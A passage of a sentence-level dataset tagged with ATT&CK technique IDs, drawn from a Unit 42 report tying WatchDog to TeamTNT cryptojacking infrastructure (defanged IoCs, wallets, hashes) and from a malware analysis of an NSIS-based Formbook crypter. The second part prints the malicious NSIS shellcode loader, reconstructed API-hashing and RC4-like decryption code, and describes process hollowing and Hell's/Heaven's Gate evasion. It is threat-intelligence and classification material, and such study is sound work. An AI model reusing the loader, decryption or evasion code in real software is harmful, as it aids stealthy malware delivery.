WatchDog Was Behind Crypto Campaign"} {"sentence": "The scripts will then rebuild mining operations and begin using two known WatchDog Monero wallet addresses, 82etS8QzVhqdiL6LMbb85BdEC3KgJeRGT3X1F3DQBnJa2tzgBJ54bn4aNDjuWDtpygBsRqcfGRK4gbbw3xUy3oJv7TwpUG4 and 87q6aU1M9xmQ5p3wh8Jzst5mcFfDzKEuuDjV6u7Q7UDnAXJR7FLeQH2UYFzhQatde2WHuZ9LbxRsf3PGA8gpnGXL3G7iWMv.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "These two Monero wallets are just two of the three known Monero wallets that are associated with the WatchDog cryptojacking group.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Of note, the IP address listed within Figure 8, 139.99.102[.]72, resolves to the previously mentioned xmr-asia1.nanopool[.]org mining pool.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "WatchDog Monero wallet addresses.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Linking WatchDog Infrastructure to TeamTNT The URL addresses and Monero wallet address, 87A5fSCR98nFSR9NCRxt6UFytca3hJXaRdDgf9NxhWTjT3q3AA8HECyZ1FdF93D5LPXsSqS8dKNsxCxafrbuVeZfMW3V7ib, specifically called out within the sample 36bf7b2ab7968880ccc696927c03167b6056e73043fd97a33d2468383a5bafce (see Figure 9), are known WatchDog indicators.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "However, the sample also includes the email address hilde@teamtnt[.]red, which is a known TeamTNT email address. Figure 9.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Known WatchDog indicators of compromise (IoCs), as well as the TeamTNT email address.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Now to the malware sample, 8adc8be4b7fa2f536f4479fa770bf4024b26b6838f5e798c702e4a7a9c1a48c6, which contains the new WatchDog Monero wallet, as shown in Figure 10.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "The same MOxmrigMOD URL address as the known TeamTNT IoC shown within Figure 9 is present, but in this sample we also see additional URL addresses that have very strong ties to WatchDog infrastructure, specifically those involving the domain name oracle.zzhreceive[.]top.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "New IoCs analyzed in surrounding text.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "With the presence of the C2 infrastructure from these new scripts, Figure 9 and Figure 10, both of which use the WatchDog directory, b2f628, there is a clear link to the TeamTNT infrastructure.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "The domain oracle.zzhreceive[.]top resolves to the IP address 199.19.226[.]117, which is also the resolution IP address for the known TeamTNT subdomain zzhrecieve.anondns[.]net.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "The usage of the anondns[.]net domain has been linked to several TeamTNT campaigns across multiple reports including, irc.anondns[.]net, ircbd.anondns[.]net, sampan.anondns[.]net and teamtntisback.anondns[.]net.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Additionally, the 199.19.226[.]117 system has also been linked to WatchDog operations through the toolkit file 1.0.4.tar.gz, 51de345f677f46595fc3bd747bfb61bc9ff130adcbec48f3401f8057c8702af9, which was hosted on hxxp://global.bitmex[.]com[.]de/cf67355a3333e6/1.0.4.tar.gz and contains C code for the masscan utility, which is the same toolkit used in the TeamTNT operations.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "The bitmex[.]com[.]de URL had previously been linked to the WatchDog cryptojacking group.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "TeamTNT Malware Repository", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "The malware repository 85.214.149[.]236:443/sugarcrm/themes/default/images/ contains known TeamTNT malware that includes the same files as the known TeamTNT repository hxxp://dockerupdate.anondns[.]net:443/sugarcrm/themes/default/images/, which is linked to TeamTNT via the malware sample 1aaf7bc48ff75e870db4fe6ec0b3ed9d99876d7e2fb3d5c4613cca92bbb95e1b, as shown in Figure 11.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Known TeamTNT malware repository.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Of note, some the of malware samples included in this repository were the Kubernetes and Docker-focused malware, ‘kube.jpg’ and ‘tshd’, presented in Unit 42's Black-T blog, but these appear to no longer be used in the new scripts discussed within this blog.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "See the appendix for a full listing of the known TeamTNT malware metadata collected from the malware repository.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "The malware sample 0414946ab4bced2c1c41f4b8a75be672b34bbdee6f29e0a0bf7946b93f7044b1 is of note in this context as it contains the hardcoded IP address, 199.19.226[.]117, as well as the hardcoded Monero wallet address associated with the nanopool and f2pool mining pools, and the mining workers previously discussed (Figures 12 and 13).", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "As the previous section mentioned, the IP address 199.19.226[.]117 also resolves to the known TeamTNT domain zzhrecieve.anondns[.]net. Figure 12.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "WatchDog directory using TeamTNT infrastructure.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "WatchDog Monero wallet address within TeamTNT infrastructure.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Finally, another TeamTNT malware repository was identified by Unit 42 researchers, as shown in Figure 14.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "The larger Chimaera repository contains known TeamTNT cryptojacking scripts and binary files.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Within the spread/redis directory, the file b.sh, 3b14c84525f2e56fe3ae7dec09163a4a9c03f11e6a8d65b021c792ad13ed2701, was found, which directly links TeamTNT to the cryptojacking operations expressed in this report.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "TeamTnT repository containing the b.sh script.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "The b.sh script contains the 43xb TeamTNT and WatchDog Monero wallet address and points to the 199.19.226[.]117 TeamTNT and WatchDog IP addresses (Figure 15).", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "It also contains a hardcoded link to a known TeamTNT cloud enumeration script hosted on the known TeamTNT domain borg[.]wtf, see Figure 16. Figure 15.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "TeamTNT and WatchDog XMR wallet and IP address.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Known TeamTnT domain borg[.]wtf.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "The borg[.]wtf domain was linked to TeamTNT via a previous Unit 42 report.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "The correlations between TeamTNT and WatchDog are intrinsically connected with this b.sh script.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Conclusion Considering the above evidence, it appears that WatchDog operations have incorporated the TTPs of the TeamTNT cryptojacking group and have significantly increased their own cryptojacking operations.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "The new WatchDog operation does not appear to use the advanced functionalities TeamTNT has used recently, namely cloud credential scraping as well as targeted Kubernetes- and Docker-focused lateral movement and exploit scripts.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "It’s also noteworthy that the new operation does not incorporate the more advanced GoLang binaries traditionally associated with WatchDog, which are capable of exploiting Windows- or NIX-based operating systems.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "It appears that WatchDog actors are attempting to expand their cryptojacking operations, while simultaneously masking their operations with those of the known cryptojacking operations performed by TeamTNT.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Unit 42 researchers will continue to monitor this cryptojacking event and provide updates as needed.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "The following tips are highly recommended by Unit 42 researchers to assist in the protection of cloud infrastructure.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Monitor and block network traffic to known malicious endpoints.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Only deploy vetted container images within production environments.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Implement and use Infrastructure as Code (IaC) scanning platforms to prevent insecure cloud instances from being deployed into production environments.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Use cloud infrastructure configuration scanning tools that enable governance, risk management and compliance (GRC) to identify potentially threatening misconfigurations.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Use cloud endpoint agents to monitor and prevent the running of known malicious applications within cloud infrastructure.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Palo Alto Networks Prisma Cloud customers are protected from these threats through the Runtime Protection feature, Cryptominer Detection feature and the Prisma Cloud Compute Kubernetes Compliance Protection, which alerts on an insufficient Kubernetes configuration and provides secure alternatives.", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "Additionally, Palo Alto Networks VM-Series and CN-Series products offer cloud protections that can prevent network connections from cloud instances toward known malicious IP addresses and URLs. Indicators of Compromise IP Addresses 103.125.218[.]10747.253.42[.]213176.123.10[.]5739.100.33[.]20945.9.150[.]36106.15.74[.]11345.9.148[.]3513.245.9[.]14785.214.149[.]23645.9.148[.]37199.19.226[.]117 URL Addresses 85.214.149[.]236:443/sugarcrm/themes/default/images/ hxxp://dockerupdate.anondns[.]net:443/sugarcrm/themes/default/images/ Domains global.bitmex.com[.]degsearch.com[.]dede.gsearch.com[.]deoracle.zzhreceive[.]topzzhreceive.anondns[.]netprojectbluebeam.anondns[.]net Monero (XMR) Wallets 43Xbgtym2GZWBk87XiYbCpTKGPBTxYZZWi44SWrkqqvzPZV6Pfmjv3UHR6FDwvPgePJyv9N5PepeajfmKp1X71EW7jx4Tpz Monero (XMR) Mining Pools xmr-asia1.nanopool[.]org:14444xmr.f2pool[.]com:13531Xmr.pool.gntl.co[.]uk:10009xmr.bohemianpool[.]com Repository SHA256 Hashes SHA256 FileName a506c6cf25de202e6b2bf60fe0236911a6ff8aa33f12a78edad9165ab0851caf kube.jpg e15550481e89dbd154b875ce50cc5af4b49f9ff7b837d9ac5b5594e5d63966a3 bioset.jpg 252bf8c685289759b90c1de6f9db345c2cfe62e6f8aad9a7f44dfb3c8508487a tshd.jpg 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sok.js b485e6ccc9cfeb9c2034cebfeaf1bb3b3db0ac9996e5260fc1e95ce852b757c4 ssh.jpg Hashes Used in This Investigation 0414946ab4bced2c1c41f4b8a75be672b34bbdee6f29e0a0bf7946b93f7044b1 05963eaca329830c80a7fa2e9bea3b4ec2fe277f882f68be29befedb80d5738d 0910f78b68ccf1127a6a8f55d48b55c018149b4d5ab4a3fde56386a61c029ef4 10fb8d16f7d168340be28c6d0ba94e10c15370c8747d97bc0e5fad4b4466cf09", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "22174c47cb1aa38ee0f5030597671b2436f1394f8229dc9708863e2e567576e6 2bc6c21d35ed63b135b4723444a9ac532e4cb6aaa2bbd63c557136edb4e4756f 30f0207b74d6d2d17cd8f4dc9f9131bd8763702f19c87ce74ea13a634f52c995 33da23085fb6fd7aad89e0c55b7ccbc2ee50fec4e8e31030e4b2a4ef034ac5f6 34b547b567309618422d7075322ddf5b9e0b3a4fb652f3845d12fd649f23923e 36ca9f84864ad022c255b7d91e75997f035716e4df5dc1c90ee2651f092f5d79 3b14c84525f2e56fe3ae7dec09163a4a9c03f11e6a8d65b021c792ad13ed2701 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Sign up to receive the latest news, cyber threat intelligence and research from us", "labels": [], "doc_title": "Updated New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign"} {"sentence": "This blog post was authored by hasherezade NSIS (Nullsoft Scriptable Install System) is a framework dedicated to creating software installers.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "It allows to bundle various elements of an application together (i.e. the main executable, used DLLs, configs), along with a script that controls where are they going to be extracted, and what their execution order is.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "It is a free and powerful tool, making distribution of software easier.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Unfortunately, its qualities are known not only to legitimate developers but also to malware distributors.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "For several years we have been observing malware distributed via NSIS-based crypters.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "The outer layer made of a popular and legitimate tool makes for a perfect cover.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "The flexibility of the installer allows to implement various ideas for obfuscating malicious elements.", "labels": ["T1027"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "We wrote about unpacking them in the past, i.e. here, and here.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "With time their internal structure has evolved, so we decided to revisit them and describe the inside again using samples from some of the Formbook stealer campaigns.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Samples This analysis is based on the following samples: 8F80426CEC76E7C9573A9C58072399AF carrying a Formbook sample: 05dc8c8d912a58a5dde38859e741b2c098061CCF694005A78FCF0FBC8810D137carrying a Formbook sample: f34bd301f4f4d53e2d069b4842bca672 Inside Like every NSIS-based installer, this executable is an archive that can be unpacked with the help of 7zip.", "labels": ["T1027"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "The older versions of 7zip (i.e.15.05) were also able to extract the NSIS script:", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "[NSIS].nsi.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Unfortunately, in the newer releases script extraction is no longer supported.", "labels": ["T1027"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Once we unpack the file, we can see several elements, as well as directories typical for NSIS:", "labels": ["T1027"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "The System.dll is a DLL typical for any NSIS installer, responsible for executing the commands from the script.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "It is the first component of the archive to be loaded.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "We can find it in each of the samples.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "What is more interesting are the files in the main directory.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "The first one, 1 KB in size, is a shellcode.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "It starts from bytes: 0x55, 0x8B, 0xEC, 0x81, 0xEC Analogous shellcode can be found in the second sample from this campaign.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "In the same directory there are two other files.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "One of them is around 7 KB, and the next: much bigger.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Both of them are encrypted, and to find out what they contain we need to analyze the full chain of loading.", "labels": ["T1027"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Looking inside the NSIS script we can see the performed actions that are very simple: Function .onInit InitPluginsDir SetOutPath", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "$INSTDIR File 5e9ikl8w3iif7ipp6 File 3ugs67ip868x5n File tjdorfrldbgdlq System::Alloc 1024 Pop $0 System::Call \"kernel32::CreateFile(t'$INSTDIR\\tjdorfrldbgdlq', i 0x80000000, i 0, p 0, i 3, i 0, i 0)i.r10\" System::Call \"kernel32::VirtualProtect(i r0, i 1024, i 0x40, p0)p.r1\" System::Call \"kernel32::ReadFile(i r10, i r0, i 1024, t., i 0)", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "i .r3", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "\" System::Call ::$0() Call func_80", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "[...] The first file of the set (containing the shellcode) is read into the executable memory.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Then, the loaded module is just called.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Shellcode #1 – functionality If we load those shellcodes into IDA we can see their functionality very clearly, as they are not obfuscated.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Shellcode from sample #1: Shellcode from sample #2 Although the code is a bit different in both, they can be divided with the same steps and building blocks.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "The name of the next file is loaded as a stack-based wide stringThe base of kernel32.dll is fetched from PEBA set of function from kernel32.dll is retrieved – each of them by the name’s checksums.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Functions are always the same – dedicated to reading the file from the disk: CreateFileW, GetTempPathW, lstrcatW, ReadFile, VirtualAlloc, GetTempPathW.The function GetTempPathW is used to retrieve the path to the %TEMP% directory, where all the components from the archive were automatically extracted at runtime of the NSIS fileThe name of the next file is concatenated to the the %TEMP% pathMemory is allocated for the file content, and the file is read into this bufferA custom decryption algorithm is being applied on the buffer (the algorithm is different for different samples).", "labels": ["T1106", "T1140"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "The buffer turns out to be a next shellcodeFinally, the next shellcode is executed The name of the next file is loaded as a stack-based wide string The hashing function used for import resolving follows the same pattern in both cases, yet the constant used to initialize it (denoted as HASH_INIT) is different across the samples.", "labels": ["T1027"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "int __", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "stdcall", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "calc_hash(char", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "*name) { int next_chunk; int hash; for ( hash = HASH_INIT; ; hash = next_chunk + 33 * hash ) { next_chunk = *name++; if ( !next_chunk ) break; } return hash; } view raw nsis_calc_hash.cpp hosted with :red_heart: by GitHub The algorithm used for the buffer decryption differs across the samples.", "labels": ["T1027", "T1140"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "The second shellcode revealed after the unpacking algorithm finished processing Shellcode #2 – functionality This shellcode is used for decrypting and loading the final payload (PE file) from the third of the encrypted files.", "labels": ["T1027", "T1140"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "It is unpacked and ran by the previous layer.", "labels": ["T1027"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "In the analyzed cases, this element was around 7-8 KB.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "This shellcode is similarly structured as the previous one.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "It starts by preparation of the strings: stack-based strings are being pushed.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "One of them is the name of the next file that is going to be loaded.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Also, the key that will be used for the decryption is prepared.", "labels": ["T1140"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "The next step is loading of the imported functions.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "As before, they are resolved by their hashes.", "labels": ["T1027", "T1140"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Then the functions are used to load and decrypt the payload.", "labels": ["T1140"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "If loading the next stage has failed, the installer will restart itself.", "labels": ["T1140"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "The decryption function is custom, similar (but not identical) to RC4: void __stdcall decrypt_buf(BYTE *data, BYTE *key, unsigned int size) { BYTE key_stream[512]; int j; char next;", "labels": ["T1140"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "int i; int v6 = 0; int v4 = 0; for ( i = 0;", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "i < 256; ++i ) { key_stream[i + 256] = i; key_stream[i] = key[i % size]; } for ( i = 0; i < 256; ++i ) { v6 = (key_stream[i] + v6 + key_stream[i + 256]) % 256; next = key_stream[v6 + 256]; key_stream[v6 + 256] = key_stream[i + 256]; key_stream[i + 256] = next; } v6 = 0; for ( j = 0; j < DATA_SIZE; ++j ) { i = (i + 1) % 256; v6 = (v6 + key_stream[i + 256]) % 256; next = key_stream[v6 + 256]; key_stream[v6 + 256] = key_stream[i + 256]; key_stream[i + 256] = next; v4 = (key_stream[v6 + 256] + key_stream[i + 256]) % 256; data[j] ^=", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "key[j % size]; data[j] ^= key_stream[v4 + 256]; } } view raw nsis_decrypt.cpp hosted with :red_heart: by GitHub", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "This algorithm is common to both analyzed samples – yet the decryption key differs.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Loading PE After the PE is decrypted, the function for its loading is deployed.", "labels": ["T1055", "T1140"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "The payload is implanted into a newly created suspended process (a new instance of the current executable) using one of the most popular techniques of PE injection: Process Hollowing (a.k.a. RunPE).", "labels": ["T1055"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "The content of the payload is mapped into the new process using low level APIs: NtCreateSection, NtMapViewOfSection.", "labels": ["T1106"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Then, the Entry Point is redirected to the new executable via SetThreadContext, and finally the execution is resumed with NtResumeThread.", "labels": ["T1027"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "The authors used several common techniques to obfuscate this process.", "labels": ["T1027"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "As before, the used functions are loaded by their checksums.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "The PE loading function makes a use of the following set: The low-level functions, directly related with performing the injection, are called via raw syscalls retrieved directly from NTDLL.", "labels": ["T1106"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Also in this case, functions has been resolved by their hashes.", "labels": ["T1027"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "List of used functions (with corresponding hashes).", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "4b1a50d1 : NtCreateSection", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "e0ddd5cb : NtMapViewOfSection 20b0f111 : NtResumeThread 81af6d4e : NtUnmapViewOfSection be530033 : NtWriteVirtualMemory The code used to resolve the hashes is available here: hash_resolver.cpp.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Overview of the PE loader Manual syscalls calling", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "In order to make the injection stealthier, the loader uses a common technique of “stealing syscalls”, also known as “hell’s gate”.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "This technique is based on the fact that some low-level DLLs, such as NTDLL, contain numbers of raw syscalls.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "By extracting the syscalls, and executing them manually, the malware can use the API of the operating system, without a need of calling functions from the DLL.", "labels": ["T1027", "T1106"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "That allows to bypass some monitoring in the situation if the system DLLs are hooked.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "More in-depth analysis of this technique was described here.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Firstly, a fresh copy of NTDLL is loaded from the file on the disk, an manually mapped.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Then, a function defined by its hash is retrieved (using the same hashing algorithm that was used to retrieve imports from normally loaded DLLs): After the pointer to the beginning of the function is fetched, a small disassembling loop is used to find the familiar pattern: moving the ID of the syscall into EAX register.", "labels": ["T1027"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "The syscall ID is returned for further use.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Once the syscall number has been extracted, the malware intends to execute it from its own code.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "However, a 32-bit application cannot make direct syscalls on 64-bit system, since it is not native.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "In such cases, syscalls are usually made via Wow64 emulation layer.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "In order to make them directly, the authors of the malware switch to the 64-bit mode first: using a technique called “Heaven’s Gate”.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "The malware comes with two variants of the stub executing a syscall.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "The decision for which of the versions should be applied is made based on the check if the process runs as Wow64 (emulated 32 bit on 64 bit Windows): If the process runs on a 32-bit system, the syscall can be made in a direct way, using SYSENTER:", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "If the system is 64-bit, the malware (that is 32-bit) switches into 64-bit mode via “Heaven’s Gate”.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Far return to the address prefixed with 0x33 segment – entering the 64-bit mode Once the execution mode is changed into 64 bit, the syscall is called, its results stored, and the application can switch back to 32-bit mode to continue normal execution.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "The 64-bit code, executed after the mode is switched via Heaven’s Gate Evolution This crypter has been around for several years, and during this time it went through several phases of evolution.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "In this part of the analysis we will compare it with the earlier version from February of this year, described in the following writeup.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "In contrast to the current one, the version from February contained a malicious component in the form of a DLL.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "We can also find a second, encrypted component, which carries the payload.", "labels": ["T1027"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "The extracted NSIS script contains a different sequence of commands: Function .onInit SetOutPath", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "$INSTDIR File $INSTDIR\\o15bmldpqdxcin.dll File $INSTDIR\\emvmcmzr.n System::Call $INSTDIR\\o15bmldpqdxcin.dll::Gxkeoxkzs(w$\\\"$INSTDIR\\emvmcmzr.n$\\\") DetailPrint label StrCpy $0 9 IntOp $0 $0 + 4 Goto $0 DetailPrint done FunctionEnd In this case, the standard NSIS component (System.dll) is used to call the function exported from the DLL, passing the path to the encrypted component as a parameter.", "labels": ["T1027"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Looking inside the exported function we can find a significant similarity to the Shellcode #1 which was described in the former part of this writeup.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "As before, we can see decryption of the next stage with the help of a custom algorithm.", "labels": ["T1140"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "This time, the next stage is contained in a buffer hardcoded in the DLL (rather than stored in a separate file).", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "It contains a very similar function dedicated to decrypting and loading the final payload.", "labels": ["T1140"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Yet, we can see some minor differences.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "First of all, the file name is passed dynamically rather than hardcoded.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Second, we can see a check against blacklisted processes.", "labels": ["T1057"], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "Their names are hashed, and compared to the hardcoded list of hashes (i.e. 0x26090612 -> “avgui.exe”).", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "This type of checks are among common evasion techniques.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} {"sentence": "However, in this case, detection of a forbidden process only delays execution, and does not suspend it or terminate.", "labels": [], "doc_title": "Revisiting the NSISbased crypter"} 